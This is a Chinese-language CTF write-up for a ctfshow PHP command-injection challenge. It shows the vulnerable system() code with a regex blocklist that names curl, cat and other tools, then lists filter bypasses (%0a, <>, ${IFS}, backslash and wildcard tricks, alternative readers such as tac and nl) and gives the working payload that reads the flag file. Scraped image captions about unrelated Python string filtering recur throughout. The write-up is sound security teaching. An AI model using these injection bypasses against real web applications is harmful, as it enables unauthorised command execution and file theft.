源码:

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

先把过滤的语句列出来(不区分大小写):

; cat flag 空格 [0-9] $ * more less head sort tail sed cut awk strings od curl `(反引号) % %09 %26

这里被过滤的也要学习一下,因为有些也是可以拿来读取文件的命令

查看目录文件的命令还能用,分号被过滤,这里有点像sql注入,替换成%0a(换行符),命令不能多行输入

?c=ls%0A

过滤字符串中的非汉字字符 python 字符串过滤的命令_ctf php 字符串 过滤

拓展思考(以下语句可能需要PHP环境及linux系统)

1.cat读取符被过滤了咋办,替换成其他的,tac和cat类似,nl也可以读取内容,但会多显示行数

过滤字符串中的非汉字字符 python 字符串过滤的命令_bc_02

2.空格被过滤,可以使用<>绕过,或者在url中使用%09(Tab),%20(space)进行绕过

分号被过滤,使用%0a绕过

过滤字符串中的非汉字字符 python 字符串过滤的命令_ctf php 字符串 过滤_03

如果<>也被过滤,可以使用$IFS,这是在shell中定义的环境变量用于内部字段分隔符,举例:

?c=nl${IFS}fla\g.php%0a

如果过滤的很简单,通配符反引号(`)就够用了:

?c=cat`flag.php`;

3.flag关键字被过滤

常用通配符,进行匹配文件

匹配任何字符串/文本,包括空字符串;

*代表任意字符(0个或多个) ls file *

? 匹配任何一个字符(不在括号内时)?代表任意1个字符 ls file 0

[abcd] 匹配abcd中任何一个字符

[a-z] 表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符 ls file 0

比如新建一个k2文件

过滤字符串中的非汉字字符 python 字符串过滤的命令_bc_04

4.常见读取命令都被过滤

more:一页一页的显示档案内容

less:与 more 类似

head:查看头几行

tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示

tail:查看尾几行

nl:显示的时候,顺便输出行号

od:以二进制的方式读取档案内容

vi:一种编辑器,这个也可以查看

vim:一种编辑器,这个也可以查看

sort:可以查看

uniq:可以查看

file -f:报错出具体内容

做到这样的话已经很绝了,但是我们能根据flag的特性进行绕过

grep test *file #在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行

grep '{' flag.php,自由搭配其他语句达成绕过

过滤字符串中的非汉字字符 python 字符串过滤的命令_bc_05

5.命令不回显

>/dev/null 2>&1不进行回显

使用命令分隔

; //分号

| //只执行后面那条命令

|| //只执行前面那条命令

& //两条命令都会执行

&& //两条命令都会执行

cat flag.php||

回到原题,使用payload:

?c=tac<>fla\g.php%0A

得到

$flag="flag{bed1dcd5-5b0c-4ccd-b9b6-3d2937cc5127}"; */ # @link: https://ctfer.com # @email: h1xa@ctfer.com # @Last Modified time: 2020-09-05 20:49:53 # @Last Modified by: h1xa # @Date: 2020-09-05 20:49:44 # @Author: h1xa # -*- coding: utf-8 -*- /*

还有尖括号在linux表示传递的意思,不写右尖括号也可以

>` `` 为重定向符

过滤字符串中的非汉字字符 python 字符串过滤的命令_字符串_06

但是不能定位错输出的语句

标签:查看,50,cat,命令,flag,过滤,ctfshow,file